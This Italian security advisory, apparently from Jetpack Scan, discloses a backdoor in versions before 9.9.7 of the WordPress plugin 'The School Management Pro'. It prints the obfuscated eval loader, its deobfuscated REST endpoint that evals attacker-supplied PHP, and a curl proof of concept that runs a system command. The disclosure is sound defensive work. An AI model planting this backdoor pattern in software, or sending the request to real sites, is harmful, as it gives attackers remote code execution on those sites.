Backdoor trovato nel plug-in The School Management Pro per WordPress

Pubblicato: 2022-05-20

Le versioni precedenti alla 9.9.7 del plug-in WordPress "The School Management Pro" di Weblizar contengono una backdoor che consente a un utente malintenzionato non autenticato di eseguire codice PHP arbitrario su siti con il plug-in installato. Se sul tuo sito è installata una versione precedente, ti consigliamo di eseguire immediatamente l'aggiornamento alla versione 9.9.7 o successiva. Questo è un problema di sicurezza critico.

Continua a leggere per tutti i dettagli.

Dettagli:

  • Nome del plug-in: The School Management Pro
  • Plugin slug: school-management-pro , school-management-pro-9.9.6 , school-management-pro-9.9.5 , the-school-management , ecc
  • Venditore: Weblizar
  • Versioni interessate: < 9.9.7
  • CVE: CVE-2022-1609
  • Punteggio CVSS: 10.0 (critico)
  • Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • WPVULNDB: https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

Una parte del lavoro qui a Jetpack Scan sta supportando la nostra attività WordPress ospitata controllando i file sospetti trovati sui siti che ospitiamo. Di solito ciò è dovuto a un file contrassegnato da una delle nostre firme o al fatto che il proprietario del sito ha trovato qualcosa di sospetto e vuole la nostra opinione. Com'è nella natura delle cose, a volte questi file sono benigni, alcuni sono falsi positivi e alcuni sono nuovi ceppi o variazioni di malware che richiedono più lavoro per una corretta classificazione.

A volte, tuttavia, ciò che otteniamo è più interessante insieme.

Un paio di settimane fa si è verificato uno di questi incidenti. Il team di supporto avanzato di WordPress.com ci ha contattato per alcuni codici offuscati e ovviamente dannosi trovati in un plug-in su diversi siti.

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

Dopo due cicli di deoffuscamento banale, questo dà:

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

Il codice in sé non è poi così interessante: è un'ovvia backdoor iniettata nel codice di controllo della licenza del plugin. Consente a qualsiasi utente malintenzionato di eseguire codice PHP arbitrario sul sito con il plug-in installato, come si può vedere nella dimostrazione del concetto di seguito:

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

Questo è il genere di cose che vediamo spesso nei plugin annullati; questo accade così spesso che abbiamo un caso simile già trattato in un post precedente. La nostra prima ipotesi era che questo fosse anche il caso qui; i proprietari del sito avevano installato un plugin da una fonte oscura.

Tuttavia, ci è stato assicurato che i plug-in installati sono stati ricevuti direttamente dal fornitore. Ciò è stato rapidamente confermato anche dal venditore che ha rimosso il codice incriminato dopo essere stato informato della sua presenza.

Abbiamo cercato di ottenere maggiori informazioni dal fornitore su quando è stata iniettata la backdoor, quali versioni sono interessate e come il codice è finito nel plug-in in primo luogo. Questo sforzo non ha avuto successo, poiché il fornitore afferma di non sapere quando o come il codice è entrato nel loro software.

Abbiamo visto versioni almeno dalla 8.9 che contenevano la backdoor nei nostri sistemi ospitati, ma poiché non abbiamo informazioni chiare su quando la backdoor è apparsa per la prima volta, dobbiamo presumere che qualsiasi versione precedente alla 9.9.7 sia interessata.

Il rilevamento e l'avviso del problema sono ulteriormente complicati dal fatto che il plug-in opera con una serie di slug diversi, spesso utilizzando slug contenenti il ​​numero di versione. Nei nostri sistemi ospitati abbiamo visto almeno queste varianti:

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

La versione gratuita del repository di plugin di WordPress.org non contiene il codice di licenza e non è nemmeno influenzata da questa backdoor.

Sequenza temporale

04-05-2022: Il team di supporto di WordPress.com sottoposto a un'escalation scopre il codice inserito e si rivolge a Jetpack Scan per analizzare e verificare il risultato. Dopo aver confermato che si tratta di una backdoor, avvisano il venditore.

05-05-2022: Il venditore conferma che il codice inserito è effettivamente nella loro distribuzione e ci fornisce una versione 9.9.7 in cui la backdoor viene rimossa. Confermiamo che è pulito.

06-05-2022: il fornitore distribuisce attivamente la versione 9.9.7 ai propri clienti e li incoraggia ad aggiornare.

10-05-2022: Il fornitore ha risposto alle nostre ulteriori domande sul fatto che sapesse quando è stata aggiunta la backdoor, ma afferma di non saperlo. Fornivano una versione precedente, 9.9.4, che includeva la backdoor.

Conclusione

Si consiglia di installare immediatamente l'aggiornamento su qualsiasi sito con qualsiasi versione precedente alla 9.9.7 di The School Management Pro.

In Jetpack, lavoriamo sodo per assicurarci che i tuoi siti Web siano protetti da questo tipo di vulnerabilità. Ti consigliamo di disporre di un piano di sicurezza per il tuo sito che includa la scansione e il backup di file dannosi. Jetpack Security è un'ottima opzione di sicurezza di WordPress per garantire la sicurezza del tuo sito e dei visitatori.

Crediti

Questa ricerca è stata una collaborazione tra il team di supporto escalation di WordPress.com con Nic Sevic, Thom Stackhouse e Joshua Goode e Jetpack Scan con Harald Eilertsen e Fioravante Cavallari. Grazie anche a Benedict Singer per il feedback e le correzioni.